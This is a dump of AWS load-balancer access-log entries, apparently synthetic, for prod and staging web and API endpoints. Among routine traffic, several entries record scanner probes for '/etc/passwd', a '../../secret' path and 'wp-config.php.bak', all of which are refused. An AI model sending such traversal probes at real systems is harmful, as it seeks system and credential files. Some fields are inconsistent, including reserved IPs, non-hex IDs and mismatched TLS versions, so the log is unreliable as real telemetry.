"prod-api-alb.example.com" "-" 10 2024-11-01T00:25:15.921583Z "forward" "-" "-" "10.0.179.150:443" "200" "-" "-" -https 2024-11-01T00:25:17.545836Z prod-web-alb 136.224.57.158:29762 10.0.140.41:443 0.086838 0.483451 0.006199 302 302 95 1133 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd7d-6677b32fa9074b4385523dbc" "prod-web-alb.example.com" "-" 8 2024-11-01T00:25:17.545836Z "forward" "-" "-" "10.0.140.41:443" "302" "-" "-" -https 2024-11-01T00:25:17.854686Z prod-api-alb 194.215.17.158:63463 10.0.248.201:443 0.081966 0.135427 0.070252 200 200 970 7362 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd7d-6633ec5155274f37b7cdea96" "prod-api-alb.example.com" "-" 4 2024-11-01T00:25:17.854686Z "forward" "-" "-" "10.0.248.201:443" "200" "-" "-" -https 2024-11-01T00:25:19.189461Z prod-api-alb 15.163.215.9:61069 10.0.95.85:443 0.031660 0.072434 0.076468 301 301 120 726 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd7f-50a8f8799d734f96b9a437fc" "prod-api-alb.example.com" "-" 2 2024-11-01T00:25:19.189461Z "forward" "-" "-" "10.0.95.85:443" "301" "-" "-" -https 2024-11-01T00:25:20.330118Z staging-alb 28.176.230.167:31069 208.146.252.77:443 0.072572 0.465611 0.021403 200 200 965 9474 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd80-201f5bf9955c44418be356ea" "staging-alb.example.com" "-" 2 2024-11-01T00:25:20.330118Z "forward" "-" "-" "208.146.252.77:443" "200" "-" "-" -http 2024-11-01T00:25:21.224309Z staging-alb 130.61.47.100:56572 150.226.180.151:80 0.039090 0.070060 0.131690 200 200 90 11648 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd81-ac5e3bbcd722408c9af21c86" "staging-alb.example.com" "-" 9 2024-11-01T00:25:21.224309Z "forward" "-" "-" "150.226.180.151:80" "200" "-" "-" -https 2024-11-01T00:25:21.757963Z prod-api-alb 5.158.84.136:24829 10.0.48.196:443 0.072891 0.340452 0.050899 301 301 841 12291 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd81-e89b1d30ccdc49c2bc07147e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:25:21.757963Z "forward" "-" "-" "10.0.48.196:443" "301" "-" "-" -https 2024-11-01T00:25:22.721674Z staging-alb 185.42.91.123:31001 255.106.248.108:8080 0.059133 0.422841 0.011924 200 200 314 11310 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd82-a568a83881e942909093a786" "staging-alb.example.com" "-" 1 2024-11-01T00:25:22.721674Z "forward" "-" "-" "255.106.248.108:8080" "200" "-" "-" -http 2024-11-01T00:25:23.727247Z staging-alb 225.112.128.138:48050 246.96.190.193:80 0.049041 0.403718 0.135116 301 301 13 4878 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd83-d3806f2e76d1418b96f76d3a" "staging-alb.example.com" "-" 2 2024-11-01T00:25:23.727247Z "forward" "-" "-" "246.96.190.193:80" "301" "-" "-" -http 2024-11-01T00:25:25.619982Z staging-alb 82.221.89.1:18264 178.227.156.150:80 0.052220 0.252293 0.119276 200 200 862 9559 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd85-c47343d9757249c7989d0573" "staging-alb.example.com" "-" 0 2024-11-01T00:25:25.619982Z "forward" "-" "-" "178.227.156.150:80" "200" "-" "-" -https 2024-11-01T00:25:27.529264Z prod-api-alb 225.88.90.225:36466 10.0.90.201:443 0.077432 0.062997 0.070150 404 404 380 12799 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd87-51dd0754f20943fd9a260b12" "prod-api-alb.example.com" "-" 5 2024-11-01T00:25:27.529264Z "forward" "-" "-" "10.0.90.201:443" "404" "-" "-" -https 2024-11-01T00:25:28.333802Z staging-alb 203.44.152.155:29857 69.84.184.158:443 0.098077 0.403044 0.142549 404 404 103 4443 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd88-8cc888ab23264b278f698f9f" "staging-alb.example.com" "-" 5 2024-11-01T00:25:28.333802Z "forward" "-" "-" "69.84.184.158:443" "404" "-" "-" -https 2024-11-01T00:25:30.149053Z prod-web-alb 138.108.103.169:11650 10.0.197.33:443 0.090313 0.221849 0.000072 301 301 445 7053 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd8a-ba1c82a14db8400eb67cc54a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:25:30.149053Z "forward" "-" "-" "10.0.197.33:443" "301" "-" "-" -https 2024-11-01T00:25:30.402209Z staging-alb 32.63.227.128:53588 159.190.166.219:8080 0.070823 0.367315 0.085504 302 302 186 14942 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd8a-fe5c7e64722c49f6b8981770" "staging-alb.example.com" "-" 2 2024-11-01T00:25:30.402209Z "forward" "-" "-" "159.190.166.219:8080" "302" "-" "-" -https 2024-11-01T00:25:31.555315Z prod-web-alb 237.233.140.77:31510 10.0.90.159:443 0.001233 0.201435 0.084019 200 200 820 3927 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd8b-7e1ed73e726b4e40ac9723c8" "prod-web-alb.example.com" "-" 3 2024-11-01T00:25:31.555315Z "forward" "-" "-" "10.0.90.159:443" "200" "-" "-" -http 2024-11-01T00:25:32.947462Z staging-alb 177.131.120.73:19043 216.215.233.142:8080 0.056834 0.252772 0.067434 200 200 552 7897 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd8c-94b68581e26a4fa5b5b2ebba" "staging-alb.example.com" "-" 3 2024-11-01T00:25:32.947462Z "forward" "-" "-" "216.215.233.142:8080" "200" "-" "-" -https 2024-11-01T00:25:34.568001Z prod-api-alb 239.213.211.173:26275 10.0.152.114:443 0.077175 0.474650 0.055565 302 302 436 13646 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd8e-d89d6110eedf4d00a7e80725" "prod-api-alb.example.com" "-" 10 2024-11-01T00:25:34.568001Z "forward" "-" "-" "10.0.152.114:443" "302" "-" "-" -https 2024-11-01T00:25:36.006659Z prod-web-alb 30.158.122.84:21331 10.0.239.56:443 0.078314 0.051782 0.012399 302 302 819 7867 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd90-fb2678ae275f45a39e087b9a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:25:36.006659Z "forward" "-" "-" "10.0.239.56:443" "302" "-" "-" -https 2024-11-01T00:25:36.613674Z prod-api-alb 249.11.215.34:21621 10.0.183.43:443 0.055836 0.313726 0.046807 302 302 879 6257 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd90-052d52024c874ce681ac96d0" "prod-api-alb.example.com" "-" 7 2024-11-01T00:25:36.613674Z "forward" "-" "-" "10.0.183.43:443" "302" "-" "-" -https 2024-11-01T00:25:38.061595Z staging-alb 142.57.43.16:23410 156.211.197.3:443 0.027657 0.179394 0.138351 200 200 472 11448 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd92-c9c196b300d24f5e80719608" "staging-alb.example.com" "-" 4 2024-11-01T00:25:38.061595Z "forward" "-" "-" "156.211.197.3:443" "200" "-" "-" -http 2024-11-01T00:25:40.023881Z staging-alb 66.51.145.19:36115 242.174.69.9:8080 0.008925 0.036739 0.068583 404 404 842 3200 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd94-070826dd13f34a0095664d63" "staging-alb.example.com" "-" 3 2024-11-01T00:25:40.023881Z "forward" "-" "-" "242.174.69.9:8080" "404" "-" "-" -http 2024-11-01T00:25:40.746052Z staging-alb 254.148.242.18:28070 155.43.143.56:8080 0.120062 0.067353 0.136740 301 301 169 10790 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd94-c742eaf3d07b41d5b973f835" "staging-alb.example.com" "-" 9 2024-11-01T00:25:40.746052Z "forward" "-" "-" "155.43.143.56:8080" "301" "-" "-" -https 2024-11-01T00:25:41.752643Z staging-alb 121.175.165.212:32563 114.198.226.51:80 0.066698 0.090979 0.110536 200 200 593 2307 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd95-d1b0c94e6df44f879ddac4b8" "staging-alb.example.com" "-" 9 2024-11-01T00:25:41.752643Z "forward" "-" "-" "114.198.226.51:80" "200" "-" "-" -https 2024-11-01T00:25:43.009114Z prod-web-alb 41.90.23.173:62400 10.0.94.211:443 0.021592 0.107469 0.079699 404 404 638 2932 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd97-2284a14b68c349f9aaf1784c" "prod-web-alb.example.com" "-" 0 2024-11-01T00:25:43.009114Z "forward" "-" "-" "10.0.94.211:443" "404" "-" "-" -https 2024-11-01T00:25:44.593923Z prod-web-alb 131.78.139.190:31453 10.0.234.43:443 0.023993 0.134915 0.049260 200 200 958 9064 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd98-4c34c0523cf84f499bd74692" "-" "-" 7 2024-11-01T00:25:44.593923Z "forward" "-" "-" "10.0.234.43:443" "200" "-" "-" -https 2024-11-01T00:25:46.193822Z prod-web-alb 193.27.228.161:25706 10.0.155.77:443 0.012844 0.239464 0.041215 403 403 461 6997 "POST /wp-admin HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd9a-64cfff982e4b473f998f1845" "-" "-" 10 2024-11-01T00:25:46.193822Z "forward" "-" "-" "10.0.155.77:443" "403" "-" "-" -http 2024-11-01T00:25:47.421529Z staging-alb 233.171.15.123:29349 104.241.179.50:80 0.136206 0.573622 0.013792 404 404 777 3543 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd9b-91415de7092e4e428f1a0277" "staging-alb.example.com" "-" 0 2024-11-01T00:25:47.421529Z "forward" "-" "-" "104.241.179.50:80" "404" "-" "-" -https 2024-11-01T00:25:47.639058Z prod-web-alb 238.124.106.20:19008 10.0.123.157:443 0.076008 0.123213 0.001445 404 404 878 1723 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd9b-df34d5575fde46e189a40bd8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:25:47.639058Z "forward" "-" "-" "10.0.123.157:443" "404" "-" "-" -http 2024-11-01T00:25:48.750409Z staging-alb 6.59.109.169:59979 109.25.146.234:80 0.083500 0.451994 0.131296 200 200 398 14282 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd9c-8882f0206edc471b80c0f429" "staging-alb.example.com" "-" 9 2024-11-01T00:25:48.750409Z "forward" "-" "-" "109.25.146.234:80" "200" "-" "-" -https 2024-11-01T00:25:49.443222Z prod-api-alb 42.58.49.15:33213 10.0.185.42:443 0.060128 0.266251 0.075492 200 200 121 6035 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd9d-bc025b04096948eea04d3195" "prod-api-alb.example.com" "-" 10 2024-11-01T00:25:49.443222Z "forward" "-" "-" "10.0.185.42:443" "200" "-" "-" -https 2024-11-01T00:25:50.738810Z prod-web-alb 193.27.228.181:43710 10.0.226.119:443 0.087304 0.219843 0.061813 403 403 336 231 "GET /static/../../secret HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd9e-195f8e0fcb9b416bba92165e" "-" "-" 2 2024-11-01T00:25:50.738810Z "forward" "-" "-" "10.0.226.119:443" "403" "-" "-" -https 2024-11-01T00:25:50.852848Z prod-api-alb 45.155.205.151:38910 10.0.4.228:443 0.064483 0.199938 0.099290 401 401 286 10652 "POST /wp-config.php.bak HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd9e-8b10a1bbc2ec40f88f4ed04d" "-" "-" 8 2024-11-01T00:25:50.852848Z "forward" "-" "-" "10.0.4.228:443" "401" "-" "-" -http 2024-11-01T00:25:52.814941Z staging-alb 4.69.65.134:46787 26.124.212.123:443 0.131870 0.692793 0.003551 200 200 584 1229 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bda0-ff337c704778488c8f56baca" "staging-alb.example.com" "-" 2 2024-11-01T00:25:52.814941Z "forward" "-" "-" "26.124.212.123:443" "200" "-" "-" -https 2024-11-01T00:25:53.765500Z prod-api-alb 205.53.217.74:15720 10.0.55.61:443 0.085949 0.475192 0.098613 200 200 261 1126 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bda1-c19156c0aad94698be8a2e85" "prod-api-alb.example.com" "-" 5 2024-11-01T00:25:53.765500Z "forward" "-" "-" "10.0.55.61:443" "200" "-" "-" -https 2024-11-01T00:25:54.728916Z prod-api-alb 95.124.209.78:58993 10.0.224.78:443 0.080431 0.316440 0.092552 200 200 310 14931 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bda2-5cbfaf929c3e488297f4087c" "prod-api-alb.example.com" "-" 2 2024-11-01T00:25:54.728916Z "forward" "-" "-" "10.0.224.78:443" "200" "-" "-" -https 2024-11-01T00:25:54.981736Z prod-web-alb 225.203.120.230:40039 10.0.140.206:443 0.064915 0.246387 0.016903 200 200 339 11911 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bda2-5f78d86f92e34e75ab5cb56f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:25:54.981736Z "forward" "-" "-" "10.0.140.206:443" "200" "-" "-" -https 2024-11-01T00:25:56.762871Z prod-api-alb 186.197.134.207:63115 10.0.94.18:443 0.014083 0.004518 0.016039 200 200 686 6519 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bda4-3e578aa14e584b8fb7183385" "prod-api-alb.example.com" "-" 5 2024-11-01T00:25:56.762871Z "forward" "-" "-" "10.0.94.18:443" "200" "-" "-" -https 2024-11-01T00:25:58.048855Z prod-api-alb 87.89.12.20:47200 10.0.160.74:443 0.051829 0.316256 0.027563 301 301 813 14118 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bda6-851d0faf52ce4cc7a6f6b3f5" "prod-api-alb.example.com" "-" 6 2024-11-01T00:25:58.048855Z "forward" "-" "-" "10.0.160.74:443" "301" "-" "-" -https 2024-11-01T00:25:59.194531Z prod-api-alb 193.27.228.135:53209 10.0.245.7:443 0.008006 0.427415 0.084726 403 403 984 7945 "GET /../../../etc/passwd HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bda7-339d4e5b1aac46a196fba776" "-" "-" 1 2024-11-01T00:25:59.194531Z "forward" "-" "-" "10.0.245.7:443" "403" "-" "-" -https 2024-11-01T00:26:00.964535Z prod-api-alb 208.90.187.93:16663 10.0.250.126:443 0.007693 0.080670 0.031935 302 302 446 8266 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bda8-5fbee1493741446680107731" "prod-api-alb.example.com" "-" 4 2024-11-01T00:26:00.964535Z "forward" "-" "-" "10.0.250.126:443" "302" "-" "-" -https 2024-11-01T00:26:02.199334Z prod-web-alb 121.173.178.216:28123 10.0.27.204:443 0.032036 0.336247 0.047153 302 302 769 1086 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdaa-3c8c374185174cbb9c23e37b" "prod-web-alb.example.com" "-" 5 2024-11-01T00:26:02.199334Z "forward" "-" "-" "10.0.27.204:443" "302" "-" "-" -http 2024-11-01T00:26:03.583442Z staging-alb 154.194.127.222:45706 190.228.192.219:443 0.049545 0.356790 0.028780 301 301 552 9771 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdab-b50cbbd4658a4889af259870" "staging-alb.example.com" "-" 0 2024-11-01T00:26:03.583442Z "forward" "-" "-" "190.228.192.219:443" "301" "-" "-" -https 2024-11-01T00:26:05.262516Z prod-api-alb 217.37.139.78:38474 10.0.94.74:443 0.009525 0.250416 0.073527 200 200 182 6351 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdad-874c618bb97648279ddcbf91" "prod-api-alb.example.com" "-" 8 2024-11-01T00:26:05.262516Z "forward" "-" "-" "10.0.94.74:443" "200" "-" "-" -https 2024-11-01T00:26:06.801333Z prod-api-alb 59.48.232.164:21260 10.0.6.73:443 0.027970 0.046528 0.003165 200 200 652 3707 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdae-c426d95554cd4a85b8f01548" "prod-api-alb.example.com" "-" 4 2024-11-01T00:26:06.801333Z "forward" "-" "-" "10.0.6.73:443" "200" "-" "-" -https 2024-11-01T00:26:08.536042Z prod-api-alb 97.190.159.12:28233 10.0.90.187:443 0.054311 0.340542 0.050596 200 200 185 528 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdb0-41262a32c8614ab191680f77" "prod-api-alb.example.com" "-" 5 2024-11-01T00:26:08.536042Z "forward" "-" "-" "10.0.90.187:443" "200" "-" "-" -https 2024-11-01T00:26:09.344037Z prod-api-alb 222.79.68.189:17906 10.0.50.121:443 0.000205 0.294368 0.005701 302 302 732 12668 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdb1-9c0f9ef85752478887410f23" "prod-api-alb.example.com" "-" 10 2024-11-01T00:26:09.344037Z "forward" "-" "-" "10.0.50.121:443" "302" "-" "-" -http 2024-11-01T00:26:10.804589Z staging-alb 58.173.231.227:29062 61.98.184.254:8080 0.019366 0.048749 0.128242 200 200 994 6748 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdb2-1a9b9fa7b4d64685b9fd3940" "staging-alb.example.com" "-" 10 2024-11-01T00:26:10.804589Z "forward" "-" "-" "61.98.184.254:8080" "200" "-" "-" -https 2024-11-01T00:26:12.106690Z staging-alb 126.8.127.77:52373 69.116.164.227:8080 0.065594 0.347097 0.096675 200 200 397 5022 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdb4-90be994662de410aa41f7b8a" "staging-alb.example.com" "-" 3 2024-11-01T00:26:12.106690Z "forward" "-" "-" "69.116.164.227:8080" "200" "-" "-" -https 2024-11-01T00:26:12.950671Z staging-alb 47.29.162.90:16358 182.9.96.250:80 0.095548 0.627373 0.022371 200 200 404 5721 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 